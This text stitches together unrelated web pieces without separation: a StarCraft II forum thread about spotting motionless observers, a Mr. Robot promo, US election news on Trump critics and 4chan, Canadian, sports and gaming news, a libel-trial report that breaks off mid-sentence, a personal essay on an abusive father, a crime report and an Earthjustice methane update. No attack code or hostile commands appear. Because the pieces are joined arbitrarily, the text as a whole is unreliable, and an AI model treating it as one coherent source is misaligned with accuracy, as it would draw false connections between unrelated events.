WniO Profile Blog Joined April 2010 United States 2704 Posts #3 On September 03 2010 01:17 Rekiv wrote:
It's easy to spot a moving observer without detection since it creates "ripples" on the ground, but when they're not moving sometimes it's impossible to spot one until you've built a detector unit/building.
This may be old news but I couldn't find another thread on this topic. If you feel there may be an observer in your base or hovering above your army, and you don't have detection available, all you need to do is zoom in and out using the mousewheel. The motionless observer will appear to move against the terrain and the "ripple" effect will be visible as if it were moving across the terrain.
Hope this helps some of you and, like I said, this may be old news but it still is a useful little trick to keep unwanted observers from hiding in your base or above your army.
fucking glitchers... fucking glitchers... jk... sorta
aka_star Profile Blog Joined July 2007 United Kingdom 1543 Posts #4 nice tip, I might have to try it out. FlashDave.999 aka Star
ckw Profile Blog Joined February 2010 United States 1018 Posts Last Edited: 2010-09-02 16:20:13 #5 It's really the only way I know DT's are coming sometimes and same with observers. It's not a new trick but this post may actually bring some light to some people that may have not known. Sometimes, if you watch pro matches, you'll see people scan observers to kill them because they saw the ripple.
EDIT Never mind, I didn't read the OP correctly, I am talking about something different Being weak is a choice.
ViRtU4l Profile Joined April 2010 France 114 Posts #6 Old news for me, I always rage when terrans destroy my obs when it's not moving...They should fix that or maybe make the effect less visible, especially when obs cost 100 gas each now TT
Snowfield Profile Blog Joined April 2010 1285 Posts #7
You get a very keen eye for observers after a while Yeah, i use this alot, it's a good tip for people who don't know about it.You get a very keen eye for observers after a while
Zozo Profile Blog Joined April 2010 Brazil 1710 Posts #8 THANK YOU EGM guides me
cocosoft Profile Joined May 2010 Sweden 1057 Posts #9 On September 03 2010 01:17 Rekiv wrote:
It's easy to spot a moving observer without detection since it creates "ripples" on the ground, but when they're not moving sometimes it's impossible to spot one until you've built a detector unit/building.
This may be old news but I couldn't find another thread on this topic. If you feel there may be an observer in your base or hovering above your army, and you don't have detection available, all you need to do is zoom in and out using the mousewheel. The motionless observer will appear to move against the terrain and the "ripple" effect will be visible as if it were moving across the terrain.
Hope this helps some of you and, like I said, this may be old news but it still is a useful little trick to keep unwanted observers from hiding in your base or above your army. Yes I was aware of this :>, kind of nifty.
On September 03 2010 01:18 OneFierceZealot wrote:
Show nested quote +
On September 03 2010 01:17 Rekiv wrote:
It's easy to spot a moving observer without detection since it creates "ripples" on the ground, but when they're not moving sometimes it's impossible to spot one until you've built a detector unit/building.
This may be old news but I couldn't find another thread on this topic. If you feel there may be an observer in your base or hovering above your army, and you don't have detection available, all you need to do is zoom in and out using the mousewheel. The motionless observer will appear to move against the terrain and the "ripple" effect will be visible as if it were moving across the terrain.
Hope this helps some of you and, like I said, this may be old news but it still is a useful little trick to keep unwanted observers from hiding in your base or above your army.
fucking glitchers... Show nested quote +
jk... sorta fucking glitchers... Yes I was aware of this :>, kind of nifty. ¯\_(ツ)_/¯
ckw Profile Blog Joined February 2010 United States 1018 Posts Last Edited: 2010-09-02 16:22:06 #10 On September 03 2010 01:19 ViRtU4l wrote:
Old news for me, I always rage when terrans destroy my obs when it's not moving...They should fix that or maybe make the effect less visible, especially when obs cost 100 gas each now TT
No way dude it's like that for a reason and it's worked for BW since implementation. Atleast you'r scouts don't cost 100 + speed upgrade + Lair + not invisible + supply loss when it's killed No way dude it's like that for a reason and it's worked for BW since implementation. Atleast you'r scouts don't cost 100 + speed upgrade + Lair + not invisible + supply loss when it's killed Being weak is a choice.
Najda Profile Joined June 2010 United States 3431 Posts #11 Spotting the ripples isn't that hard, but to be constantly zooming in and out to check for ripples because an observer MIGHT be there seems pretty extreme and like it would do more damage to you than if you found the observer after the 5th try or whatever.
Schtrudel Profile Joined August 2010 Romania 56 Posts #12 I think the scroll thing is brilliant, the oher is old news and obvious Schtrudel 678 add me for practice/friend to play with http://eu.battle.net/sc2/en/profile/502495/1/Schtrudel/
RyuChus Profile Blog Joined August 2010 Canada 438 Posts #13 Great I already can see your obs by doing the same thing it's not a new thing. I have an announcement to make, "Moo!" That is all.
jaack Profile Joined June 2009 United States 30 Posts #14 Nice i'll have to give this a shot. No Xbox and no starcraft make Jaack go..something something....
junemermaid Profile Joined September 2006 United States 981 Posts #15 On September 03 2010 01:21 Najda wrote:
Spotting the ripples isn't that hard, but to be constantly zooming in and out to check for ripples because an observer MIGHT be there seems pretty extreme and like it would do more damage to you than if you found the observer after the 5th try or whatever.
Right you are, you don't wanna be zooming in and out every 5 seconds looking for a potential obs.. However, it is useful in a few situations. I use this trick on my army when I'm about to do some kind of maneuver / attack. Just zoom in and out a few times near your army. It's a quick check to see if hes watching you. Right you are, you don't wanna be zooming in and out every 5 seconds looking for a potential obs.. However, it is useful in a few situations. I use this trick on my army when I'm about to do some kind of maneuver / attack. Just zoom in and out a few times near your army. It's a quick check to see if hes watching you. the UMP says YER OUT
Thoreezhea1 Profile Blog Joined July 2010 United States 532 Posts #16 GJ, and TY What the Fu- REAPERS?!
Rekiv Profile Joined April 2010 Great Britain 27 Posts #17 On September 03 2010 01:19 ckw wrote:
It's really the only way I know DT's are coming sometimes and same with observers. It's not a new trick but this post may actually bring some light to some people that may have not known. Sometimes, if you watch pro matches, you'll see people scan observers to kill them because they saw the ripple.
EDIT Never mind, I didn't read the OP correctly, I am talking about something different
I guess it could work against DTs too, but then again they're usually on the move which defeats the purpose if the trick. Although it's a common tactic to create 2 or more DTs and only send one of them into a base at a time whilst leaving the others out of detector range on hold position. The idea of this is to waste a scan and then just send the rest in. I guess it could work against DTs too, but then again they're usually on the move which defeats the purpose if the trick. Although it's a common tactic to create 2 or more DTs and only send one of them into a base at a time whilst leaving the others out of detector range on hold position. The idea of this is to waste a scan and then just send the rest in.
MoreFaSho Profile Blog Joined May 2010 United States 1427 Posts #18 Yea, if you're getting ready to push out, you definitely want to do this trick, I'm going to try to incorporate this, should be pretty helpful. I always try to shield slam face, just to make sure it doesnt work
Pking Profile Joined May 2010 Sweden 142 Posts #19 Thanks for the tip, I guess it should also work by rotating the camera.
Plexa Profile Blog Joined October 2005 Aotearoa 38174 Posts #20 nice find Clevernice find Administrator ~ Spirit will set you free ~
1 2 3 4 5 6 7 Next AllHello, friend. The hackers of fsociety have an all-new message for you: “Control is an illusion.” But this next part isn’t an illusion: Mr. Robot is returning, for real, on July 13. And as the show’s cast recently teased at a Yahoo TV-moderated Academy panel, Season 2.0 is going to be a compelling upgrade, with more mind-blowing plot twists, an elevated visual style and some new characters joining the paranoia-laced fun. Some of those new faces? including Grace Gummer and Craig Robinson, playing an FBI agent and a helpful neighbor respectively? are featured in this series of 9 new character posters. Click through the above gallery to see Elliot (Rami Malek), Mr. Robot (Christian Slater), Darlene (Carly Chaikin) and Angela (Portia Doubleday) in all their glowering glory. Control may be an illusion, but we’ll have to use that illusion in order to wait patiently for July 13.
Mr. Robot premieres July 13 at 10 p.m. on USA
Related: Emmy Voters, Nominate These Actors!According to a report by Etemad newspaper, as translated by IFP, fifty prominent Republican foreign policy and national security experts — many veterans of George W. Bush’s administration — have signed a letter denouncing Donald Trump’s presidential candidacy and pledging not to vote for him.
The letter, first reported by The New York Times on Monday, August 8, warns, “We are convinced that in the Oval Office, he would be the most reckless President in American history.”
“[Trump] would be a dangerous President and would put at risk our country’s national security and well-being,” said the former officials.
“Most fundamentally, Trump lacks the character, values, and experience to be President,” they added.
“He weakens US moral authority as the leader of the free world. He appears to lack basic knowledge about and belief in the US Constitution, US laws, and US institutions, including religious tolerance, freedom of the press, and an independent judiciary.”
The letter also said that Trump has “demonstrated repeatedly that he has little understanding” of America’s “vital national interests, its complex diplomatic challenges, its indispensable alliances and the democratic value.”
They also regretted that “Trump has shown no interest in educating himself.”
“None of us will vote for Donald Trump,” they said in the letter.
Nevertheless, the former officials stressed that they “know that many have doubts about Hillary Clinton, as do many of us.”
The letter came as former Republican officials used to avoid taking public stances against Trump, and such stances used to be expressed only in social media pages and small gatherings.
Many of the same leaders wrote an open letter in March during the Republican primaries condemning Trump and pledging to oppose his candidacy, at a time when other GOP candidates remained in the race.
Some of those signatories have not signed the new letter; however, many former officials in Republican governments, who had kept silent towards Trump’s policies, have felt the threat and broke their silence by signing this letter.
Among the signatories of the new letter are such prominent figures as Michael Hayden, the former Director of Central Intelligence Agency and former Director of National Security Agency; John Negroponte, the former Director of National Intelligence, former Deputy Secretary of State and former Deputy National Security Advisor; Robert Zoellick, another former Deputy Secretary of State and US President’s Representative in the World Bank; Tom Ridge, the former Secretary of Homeland Security, former Assistant to the President for Homeland Security, and former Governor of Pennsylvania; Michael Chertoff, the former Secretary of Homeland Security and former Assistant Attorney General for the Criminal Division at the Department of Justice; Eric Edelman, the former Under Secretary of Defense for Policy and former National Security Advisor to the Vice President.
The signatories also include Robert Blackwill, the former Deputy National Security Advisor for Strategic Planning; James Jeffrey, the former Deputy National Security Advisor; William H. Taft IV, the former Deputy Secretary of Defense and former Ambassador to NATO. Blackwill, a former aide to Henry Kissinger, is expected to officially endorse Clinton this week.
The letter underscores the continuing rupture in the Republican Party, but particularly within its national security establishment.
Many of those signing it had declined to add their names to the letter released in March. But a number said in recent interviews that they changed their minds once they heard Trump invite Russia to hack Clinton’s email server and say that he would check to see how much NATO members contributed to the alliance before sending forces to help stave off a Russian attack.
Trump has said throughout his campaign that he intends to upend Republican foreign policy orthodoxy on everything from trade to Russia, where he has been complimentary of President Vladimir Putin, saying nothing about its crackdown on human rights and little about its annexation of Crimea.
The sharp split in the Republican Party raises the question of whom Trump will turn to for institutional memory if he is elected. The officials he denounced made plenty of mistakes, some of which they acknowledge and some they gloss over. But they are also the party’s repository of experience of economic, diplomatic and military strategies, both successful and failed. Trump’s own bench of foreign policy advisers has had comparatively little experience.
Missing from the signatories are any of the living Republican former secretaries of state Kissinger, George P. Shultz, James A. Baker III, Colin L. Powell and Condoleezza Rice.
Trump met with Kissinger and Baker several months ago, and “I came away with a lot of knowledge,” he told The New York Times in a July 20 interview. But neither of the two, who represent different foreign policy approaches within the party, has said if he will endorse Trump.
Trump: You Are Nothing More than Failed Elite
Late Monday, Trump struck back. The signatories of the letter, he said in a statement, were “the ones the American people should look to for answers on why the world is a mess, and we thank them for coming forward so everyone in the country knows who deserves the blame for making the world such a dangerous place.” He dismissed them as “nothing more than the failed Washington elite looking to hold onto their power.”
Trump identified many of the signatories as the architects of the invasion of Iraq and its aftermath. He also blamed them for allowing Americans “to die in Benghazi” and for permitting “the rise of ISIS” — referring to the 2012 attacks on the American mission in Libya and the spread of the Islamic State in Iraq and Syria, both of which occurred during the Obama administration. At the time, most of Trump’s Republican foreign policy critics were in think tanks, private consultancies or law firms, or signed on as advisers to the Republican hopefuls Mr. Trump beat in the primaries.
Trump’s Attack on Clinton in Twitter
Tehran’s execution of Shahram Amiri, the Iranian academic who worked as a spy for the US, has influenced the US elections as well. It has become a pretext for Trump to attack his rival Clinton.
Trump claimed in his Twitter post that the hacked emails from Clinton’s sloppy server led to the execution of the Iranian nuclear scientist.
“Many people are saying that the Iranians killed the scientist who helped the US because of Hillary Clinton’s hacked emails,” Trump said in his Twitter page on August 8.
Clinton’s campaign responded to Trump’s insinuation that Clinton was somehow to blame for Amiri’s death, censuring him for feeding conspiracy theories.
“The Trump campaign has never met a conspiracy theory it didn’t like. He and his supporters continue to use increasingly desperate rhetoric to attack Hillary Clinton and make absurd accusations because they have no ideas for the American people,” Clinton campaign spokesperson Jesse Lehrich told the Washington Post.
The US State Department also announced in a Monday statement that there was no connection between Amiri’s execution and Clinton’s hacked emails.
American officials have noted that Amiri had come to the US on his own will, but suddenly changed his mind and chose to return to Iran and be with his family.
Clinton had stressed in a July 2010 press conference that Amiri is free in the US. However, two emails sent to Clinton when she was Secretary of State and stored on her private server appear to refer obliquely to Amiri’s doubts over staying in the US. A few days after the emails were sent, Amiri went to Iran’s Interest Sections in Washington to come back to Iran.
Sen. Tom Cotton (R-AR) said on Sunday, August 7, that the emails about Amiri show Clinton’s email practices were “reckless and careless.”
”I’m not going to comment on what he may or may not have done for the United States government, but in the emails that were on Hillary Clinton’s private server, there were conversations among her senior advisers about this gentleman,” Cotton said.One of Donald Trump’s most ardent fringe message boards appeared to turn on its candidate of choice during Monday night’s debate, saying he “got played” and that “this was not supposed to happen.”
4chan, the alt-right forum that Trump and his campaign surrogates have mined for memes and image macros to repurpose on campaign Twitter accounts as recently as two weeks ago, devolved into arguments about whether the usually uniformly pro-Trump website had been overrun by “shills” or if the candidate had simply lost the debate.
“I watched it with family mixed Democrat/Republican,” wrote one user. “Every single person on both sides thought Trump looked horrible.”
Still, some users took time to attempt to game online polls soliciting opinions on who won the debate, imploring users to “abuse airplane mode toggling” to allow for more votes for Trump on websites like CNBC, Time, ABC News, and CNN.
Trump then spent the night pointing his Twitter users to those same poll numbers, which had been brigaded by 4chan and Trump's Reddit community r/The_Donald. "Great debate poll numbers - I will be on @foxandfriends at 7:00 to discuss," he wrote. "Enjoy!"
“OK guys, let’s cut the bullshit. Trump actually sucked tonight,” wrote post ID 3h7UYcU0. (All posts are anonymous on 4chan.) “Let’s talk about where we go from here. What does Trump need to do better next debate?”
A few users appeared to have an answer to that question. They took issue with Trump’s decision during the debate to blame the Democratic National Committee hack, which U.S. officials believe was perpetrated by Russia, on “someone sitting on their bed that weighs 400 pounds.”
“[Your face when] Trump calls you out for being a 400 pound hacker,” wrote one user, alongside an image titled fat-computer-guy.gif.
“Which one of you 400lb ass holes hacked the DNC,” asked another.
4chan—and its sister site 8chan, which was spawned because founder Frederick Brennan believed 4chan had become too “authoritarian”—has served as a breeding ground for some of the racist and anti-Semitic memes that have made their way onto Trump’s Twitter feed. Both sites have seen massive spikes in traffic since Trump locked up the nomination, with 4chan jumping to about 140 million August visitors from 110 million visitors in April 2016.
Trump infamously tweeted of a Star of David next to Hillary Clinton’s face over a pile of money in a Photoshopped image that was widely distributed by 8chan back in July.
But on Monday night, even 8chan’s users noticed that 4chan was reeling.
“They’re actually complaining about him losing, and describing how they feel let down,” wrote one user. “Amid some chirps of Hillary Clinton super PAC Correct the Record infiltrating their board.”
4chan’s de facto white-nationalist mascot Pepe, a cartoon frog that has come to represent both pro-Trump and anti-Semitic users on the site over the last year, even had its hand Photoshopped onto a smiling Clinton. Another meme showed Pepe pointing a machine gun at the back of its head.
A third showed the mascot drinking wine, along with the caption “Just for the record I never actually supported Trump. I just did it for the memes.”
4chan’s sentiment tended to coincide with anonymous money being gambled on the web.
According to the website PredictIt, which allows American users to bet on who will win the election, Clinton at one point netted a 15-percentage point swing between the start and end of the debate.
Shares for Clinton to win the presidency started the debate at 64 cents to every dollar bet and reached a high of 70 cents during the debate.
Trump, who started the debate at 39 cents, fared much worse.
“Trump went between 39 and 38 cents for most of the debate, ended at the low of 33, only to fall to 31 after the debate ended,” PredictIt’s Christopher Chidzik told The Daily Beast.
In the prop bet market for how many false statements Trump would make over the course of the debate (as determined by PolitiFact), “Trump making seven or more false statements rose by 20 cents over the course of the debate,” Chidzik said.
North Carolina, a state that bettors believed was headed into GOP hands before the debate, flipped for the Democrats over the course of the debate.
Back on 4chan, conspiracy theories still prevailed. One user thought he noticed a dark spot on Clinton’s clothes.
“Why would you ever vote for a person who DROOLS on her own clothes?” the user wrote, circling the spot with Photoshop.
Other users responded quickly. “That’s a microphone shadow, ya dingus.”OTTAWA – Conservative MP Lisa Raitt’s voice broke with emotion Wednesday as she urged Canadians to speak out about a disease that affects hundreds of thousands of people across the country.
Raitt spoke in the House of Commons in recognition of World Alzheimer’s Day, using her member’s statement time to pay tribute to those who care for Canadians afflicted with the illness.
She called it an illness that many fear.
The disease hit home with Raitt over the last few months.
Her husband, Bruce Wood, was recently diagnosed with early onset Alzheimer’s.
The two had married earlier this month.
“It’s kind of opened my eyes to the struggles that Canadian families have when it comes to a diagnosis like this,” Raitt said in an interview on CTV’s Power Play.
Raitt, who has been leaning toward a run for leadership of the Conservative party, noted that many Canadians don’t speak openly about family members affected by Alzheimer’s.
She told the Commons it’s time to change that.
“Sometimes, we only talk about it in whispers,” said Raitt.
“However, I know this. The more we talk about Alzheimer’s and the more knowledge that we share, the quicker we will get past the stigma and get to the people affected by this disease the support and the care they need,” she said.
Raitt went on to pay tribute to the caregivers, service providers and others who work “to lessen the burden of those suffering from this disease,” before pausing, then tearfully declaring “I thank you from the bottom of my heart.”
An estimated 564,000 Canadians are currently living with dementia, with about two thirds of those suffering from Alzheimer’s, according to the Alzheimer Society of Canada.
Another 25,000 new dementia cases are diagnosed each year.
There is currently no cure for the neurological disorder, which mainly affects the elderly but has also been diagnosed in people in their 40s and 50s.
Health Minister Jane Philpott also marked World Alzheimer’s Day, noting that federal support for dementia research has helped in developing new products and services designed to aid patients and their families.Angry Birds, one of the most successful mobile games in history, is taking its bird-slinging game mechanics to a new platform: the traditional game console.
Rovio, the company behind the popular iPhone and Android game franchise, says that it is working on a version of the game for the Xbox 360, Wii and PlayStation 3. CEO Peter Vesterbacka also told the BBC that the games would launch next year, although he wouldn't reveal much more beyond that.
Vesterbacka also revealed a second piece of news: the company is actively working on Angry Birds 2. The new game isn't a sequel to the original though, but is instead a completely new game featuring the angry birds and the evil pigs.
As for the premise of the game, Vesterbacka told the BBC that, "the pigs will be a lot more active than just being slingshotted at by birds." He also added that there will be a lot more of the pigs in Angry Birds 2.A jury on Thursday found two Cal Coast News writers libeled a hazardous waste contractor when they accused him of illegal activity in a 2012 article and are now responsible for $1.1 million in damages.
The defamation case against Karen Velie and Daniel Blackburn, current and former co-owner of Cal Coast News, respectively, began last week and concluded with closing arguments Wednesday.
The case stems from a lawsuit filed by Charles Tenborg, past president of Arroyo Grande-based waste management company Eco Solutions, which contracted with public agencies such as the San Luis Obispo County Integrated Waste Management Authority.
After the verdict, Tenborg said he was “extremely relieved.”
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“I’m ready to continue on with my life,” Tenborg said. “I plan on living here for the rest of my life, and these accusations were false — there were no sources and there was no evidence.”
Tenborg’s attorney, San Francisco-based James Wagstaffe, said the verdict restores faith in local journalism.
“This is not a newspaper, this is an online rag sheet that sensationalizes,” Wagstaffe said. “And a local community can be terrorized by that activity. When there are false statements — I believe in the First Amendment, I believe in great investigative journalism. This was not that.”
Velie and Blackburn could not be reached for comment, but one of their four defense attorneys, David Vogel, said the verdict was disappointing. He said two of the sources that the writers used for the article have since died and another lived “outside the jurisdiction” and was unable to testify.
“I think the jury based its verdict in large part on the fact that we couldn’t produce those witnesses,” Vogel said.
He said he did not know what the jury award means for the future of the website, or whether Velie and Blackburn planned to now remove the libelous article. It remained online as of Thursday evening.
“I don’t know what their intent is at this point,” Vogel said.
Cal Coast News’ editor Bill Loving, who testified in the trial and also works as a journalism professor at Cal Poly, wrote a note to his students Wednesday saying that he was resigning from the university effective Aug. 31.
How damages break down
Of the total verdict, the jury awarded $300,000 in actual damages for pain and suffering and emotional distress, $300,000 in presumed damages for loss of future revenue and $500,000 in punitive damages.
Velie is liable for the entire amount, but Blackburn is responsible for $600,000 because the jury did not find him liable for the punitive damages, Wagstaffe said.
Tenborg had been seeking more than $1 million in damages for loss of future revenue and at least $500,000 in punitive damages.
The jury voted unanimously on the verdict, 11-1 on the actual damages and 10-2 on the punitive damages.
The article “Hazardous waste chief skirts law” alleges that Tenborg illegally received a no-bid contract with the Integrated Waste Management Authority, had been fired from his previous position with the county and was “encouraging (clients) to break state law.” It features photos of Tenborg and IWMA manager William Worrell, as well as a stock image of a yellow barrel labeled “radioactive.”
Throughout the trial, Wagstaffe alleged the writers didn’t research easily verifiable facts or obtain appropriate records, seek sources with direct knowledge, or allow Tenborg a chance to defend himself against their allegations.
Plaintiff’s case
Lawyers for Tenborg presented evidence to the jury that Tenborg’s contract with IWMA was under the legal limit requiring a public bid, showed jurors Tenborg’s resignation letter as proof that he was not fired, and argued that their client complied with all applicable laws while transporting waste. The article does not offer contrary evidence, they said.
Velie and Blackburn stood by the article and testified that it was to be the first in a series that never came to fruition, and said the allegations would have been proven in later articles.
During his testimony, Tenborg said that Eco Solutions transported low-grade hazardous waste for small businesses to waste facilities at local landfills as part of an IWMA program. He said he was contacted by colleagues from across the state about the allegations after the article appeared in a waste industry newsletter. He sold the business after his reputation suffered, he said.
“I had a good job,” Tenborg testified. “That’s what I wanted to do, to help people comply (with waste disposal regulations).”
He said Velie contacted him no more than three times before the article’s publication and he referred questions he couldn’t answer to the appropriate people. Velie never asked about licensing, his past employment or illegal transportation of waste, Tenborg said.
When he saw the article online, Tenborg said he felt “absolutely ill.” After Velie didn’t return his phone calls, he and Worrell sent a letter demanding a retraction.
“I never heard anything from them,” Tenborg said.
On the stand, Velie said she investigated Tenborg for about eight months while Blackburn investigated tips about Worrell’s past employment. Velie testified that she relied on “a number of attorneys who donate their time to help” with the website, as well as former San Luis Obispo city and IWMA employees.
Although she said “there were dozens” of sources used for information for the article, Velie often testified she could not remember who gave her what information and could not provide her notes after they were lost because of a broken computer.
Velie also testified that when she received the retraction letter, Loving, the website’s editor, told her to leave the article as is because of a pending lawsuit.
The letter, later shown in court, did not threaten a lawsuit, and Loving later testified that he never instructed Velie to leave the article online.
Blackburn testified that the site follows “the strictest standards” and covers “stories that the other media ignore.” He said that he gave |
I could only imagine my father wearing his scarlet A: Abuser. Asshole. Alcoholic. The turning point that allowed me to see that he hadn’t been born with malice, that he’d been corrupted before he could even know better, came when my aunt showed me a photo of a little boy in a Little League uniform. He smiles into the camera, though his mouth looks slightly swollen.
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Though my aunt was several years older than my father, she was much smaller, sicklier as a child. He’d gone to college. She’d gone to typing school. He’d paid her rent so she could live in one of the safer sides of Jersey City. Before I was born, he’d paid her children’s private school tuitions. Of everyone in the family, she was the most like me; her bookshelves groaned under the bulk of so much Dostoevsky. She was the one I’d call when my father had too many “bad spells”; the one who could call him a diminutive, a silly kid’s name, and quell him; the one who’d said that as much as she loved him, she’d open her home to my mother and me if we ever needed it.
So when she said that I should try to understand him, she became (for the moment) a Brutus, closing ranks with all the relatives — including my own mother — who’d insisted that “physical discipline” (to quote one cousin) was “normal” in Italian families, that telling the truth — not feigning another trip on the curb, another knock into a door — was just “snitching.”
These same cousins and great uncles played up my paternal grandfather as an old school, cigar-chomping badass; the pride of the block, the guy who’d even swing at a cop. My aunt told me about a man who used to heat his belt buckle over the stovetop before he’d come into the living room looking for someone to hit. Her voice got thin and shivery, as if she could hear that gas click on. “You’re too hard on him,” she said. “He never let mommy and I get hurt.” She told me that he “made it stop” when he was 16. Despite my pushing, she never told me how.
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My aunt took a leather album from between “Crime and Punishment” and “The Brothers Karamazov” and showed me a boy with my face. Round cheeks and a boxy jaw. Lips that must’ve embarrassed him with their pert girlishness. He wears a cowboy outfit and holds a stuffed horse head on a dowel. He doesn’t smile. He hands a screwdriver to my grandfather, who is frowning as he assembles a dollhouse. I know that frown, a thundercloud slowly thickening. My father’s eyes tell me that he does too. The hands that fold over the hammer seem too small to ever be the hands that will mark his daughter with scars that will not heal.
Too often, I’ve been obliterated by my anger. Every kindness I was shown — by a friend, a lover, even a casual acquaintance — was just a prelude to being dicked over. I approached life with a bristling vigilance, never expecting to do much more than survive. My father had taught me, in word and deed, that every infraction — however small, however accidental — was an insult. Protecting yourself meant biting back, even if (especially if) you gnashed everything around you into tatters.
I made it less than a mile away from my aunt’s apartment before I had to pull my car over. A cresting wave of tears broke down upon me, broke me open. I imagined my father as a boy young enough to call his mother “mommy.” I imagined the first time he got in between his mother and his father’s fists. The first time he took that belt for his sister. He’d never be a child again, not after that first time.
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His outlook, his impulses, were not innate, inescapable. They’d been taught to him, just as they’d been taught to me. And I could unlearn them. If his life as a whole, my life at that point, had been a tiny seed’s descent into deep, hard earth, the only way out was blooming.
That boy’s suffering does not absolve the man he became. His bruises will not heal mine. His broken noses will never knit me back together. We are shaped by our circumstances, sometimes shattered but forever changed — and always, always, we are accountable for our actions. Still, the depth of my empathy shocked me: I began to see that little boy in my father — and not in the parts of him that had hurt me. The same boy who’d helped put together his sister’s dollhouse — even when he knew what the inevitable missing part or stubborn nail would bring upon him — remained on my bedroom floor long after I’d fallen asleep.
The threat to end him showed my father how desperate I’d become. Though my aunt never told me how he’d gotten the beatings to stop, I can guess.
I know that my father’s desire to curb his violence is a rare, precious thing; a thing that many other survivors (including my father himself) will never receive. But we will never be the guilelessly loving family I always wanted. I will grieve — will always grieve — when I see my friends post photos of camping trips with their parents; when I see fathers and daughters dancing in wedding albums. On a surface level, my father and I will never get beyond emails and brief exchanges about “Homeland.” But these moments tick on with genuine warmth, and that feels like progress.
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Recently, I left my dog with my parents when I went on a day trip to D.C. with a friend. When we step into my parents’ house to pick her up again, my friend makes random small talk with my mother. He does not follow me into the den, where the dog is sleeping at my father’s feet.
My friend and my father exchange a brief hello. They don’t shake hands. Later, I’ll ask him if, after reading my essays and hearing my stories, it was “weird” (as if weird could begin to cover it) to see my father. My friend says that he tries to remember all the kindnesses I’ve described, all the drawing paper and books my father bought me, the times he swept nightmares from my brow.
“Nobody,” he says, “can be reduced to an after-school special.”
My father is like an intricate glass sculpture that has been fractured and tacked back together with silly putty. And those kindnesses — those moments he could be at ease, let me be his little girl — are the parts that never cracked. I call them to mind whenever I’m tempted to simply delete an email or leave a text unanswered.Johnel Travis (Photo: MCSO)
An arrest has been made in a shooting on Friday that killed a woman and injured a man.
The Montgomery Police Department arrested Johnel Travis, 27, of Montgomery, in connection to the death of Rebecca Quillin, 73, and the attempted murder of an unidentified man.
At about 8:30 p.m. on Friday, MPD patrol and Fire Medics arrived in the 2700 block of Sumter Avenue, between Federal Drive and Coliseum Boulevard.
When they arrived, they found Quillin had been shot dead in her home. The man who was also shot, had a serious gunshot wound to the face and was driven to a local hospital for treatment according to court documents.
Police initially labeled the case as a death investigation, which turned into a homicide when they found out that the shooting took place during a burglary and home invasion according to court documents. Police would not give any details except that Travis, Quillian and the man all knew each other.
Court documents show Travis' home address is next door to where the shooting took place.
Travis was charged with capital murder and attempted murder and was held at the Montgomery County Detention Facility without bond.
—Rebecca Burylo
Read or Share this story: http://www.montgomeryadvertiser.com/story/news/crime/2017/07/24/73-year-old-woman-killed-friday-shooting-arrest-made/506187001/Former NBA legend Steve Nash and his foundation recently completed its 10th annual which bring stars from the NBA world and professional soccer world together for a great cause - raising funds for critical needs services for kids.
Before the game kicked off, I had a chance to catch up with new Philadelphia 76ers guard JJ Redick as we talked about the San Antonio Spurs postseason, Tony Parker, Zaza Pachulia's controversial play on Kawhi Leonard and more.
Jeff: JJ is this your first time out here at the Steve Nash soccer “Showdown”?
JJ: It is. I’ve teased (Steve) Nash for years to invite me. I finally got the invite this year and I’m not really sure how I got the e-mail but it happened!
Jeff: You’re going to tear up the field aren’t you?
JJ: (Laughs) I’ve been compared to Messi before. I actually like to fashion my game more to Cristiano Ronaldo.
Jeff: Your thoughts on the San Antonio Spurs playoff run. If Kawhi Leonard doesn’t get hurt, is it a different series versus Golden State?
JJ: It’s a different series. I’m not going to make a prediction like they would have won or not. There’s a lot of “what ifs” in sports but it would have been a different series. I still thought it was a competitive series. The Spurs just couldn’t find a way to win a game.
Jeff: What about that controversial play with Zaza (Pachulia) stepping his foot under Kawhi Leonard? What are your thoughts?
JJ: Well, as a guy who is a shooter, that’s happened to me before. It’s a tough break and I have had to miss games before because of it.
It’s funny because I’ve gotten now used to, when I shoot the ball, and somebody comes underneath me, I’ll actually spread my legs out so they don’t hit me. It’s an unnatural motion and referees sometimes don’t give me the call but I tell them ‘If I don’t spread my legs out, I’m going to sprain my ankle’.
So you have to somehow figure a way out to protect yourself. Sometimes if it’s late, like I thought the Zaza slide underneath was a little late, there’s nothing you can really do.
Jeff: Your thoughts on the injury to Tony Parker? You’ve played against him, you’ve had battles against him, what are your thoughts?
JJ: I have so much respect for Tony. He’s a champion. He’s one of the all-time greats. He’s somebody I’ve had the pleasure of battling against for years. I hate to see anybody get hurt. I wish him the best in his recovery.
As mentioned, Redick recently signed a new deal with the Sixers, pairing him with their young star Joel Embiid.Update - 10/5/17: The Trump administration’s repeated attempts to nix new rules that would curb climate emissions, improve air quality and bring millions of dollars into the public coffers has suffered another blow. On Tuesday, the U.S. District Court for the Northern District of California ruled that the Bureau of Land Management illegally suspended an Obama-era rule that would prevent waste of publicly-owned natural gas on public and tribal lands.
This is just one of the many attempts by the oil and gas industry and its allies in the Trump administration to fight these commonsense rules, despite widespread public support for them. Read below to find out how Earthjustice has beat back every single one of these attacks.
Earthjustice is suing the Bureau of Land Management (BLM) today over its decision to delay regulations on methane, a major greenhouse gas.
Delays of critical environmental protections have become a familiar tactic from federal agencies, as the Trump administration takes marching orders from polluting industries that want to unravel Obama-era regulations.
The courts, however, have proven to be a powerful tool in pushing back on Trump’s delay tactics. Earlier this month, a federal appeals court blocked Trump’s EPA from delaying new rules on methane, a potent greenhouse gas 86 times more powerful than carbon dioxide that happens to be the primary component of natural gas. Today’s lawsuit targets a similar request to delay methane regulations, this time by the BLM.
At the same time, Earthjustice is monitoring and litigating against several other delays by the administration, including a delay in banning chlorpyrifos, a toxic agricultural pesticide.
“No matter how badly the Trump administration wants to dismantle important protections for our air and climate adopted during the Obama administration, they must follow the law,” says Earthjustice attorney Joel Minor, who is working on the EPA and BLM methane cases. “They’re taking shortcuts in each case. But the courts are going to hold them accountable.”
Methane is one of the most dangerous byproducts of oil and gas operations. Find out more about this toxic greenhouse gas and how it is hurting our communities. Chris Schneider for Earthjustice
The EPA and BLM methane rules both require oil and gas companies to capture their methane emissions. In May 2016, the EPA put federal safeguards in place to limit the amount of methane pollution from new and modified sources in the oil and gas industry. Months later, the BLM finalized a waste prevention rule that requires oil and gas companies to reduce venting, flaring and leaks from both new and existing operations on public and tribal lands. Together these crucial protections reduce smog, air toxics, and climate pollution—protecting public health and future generations.
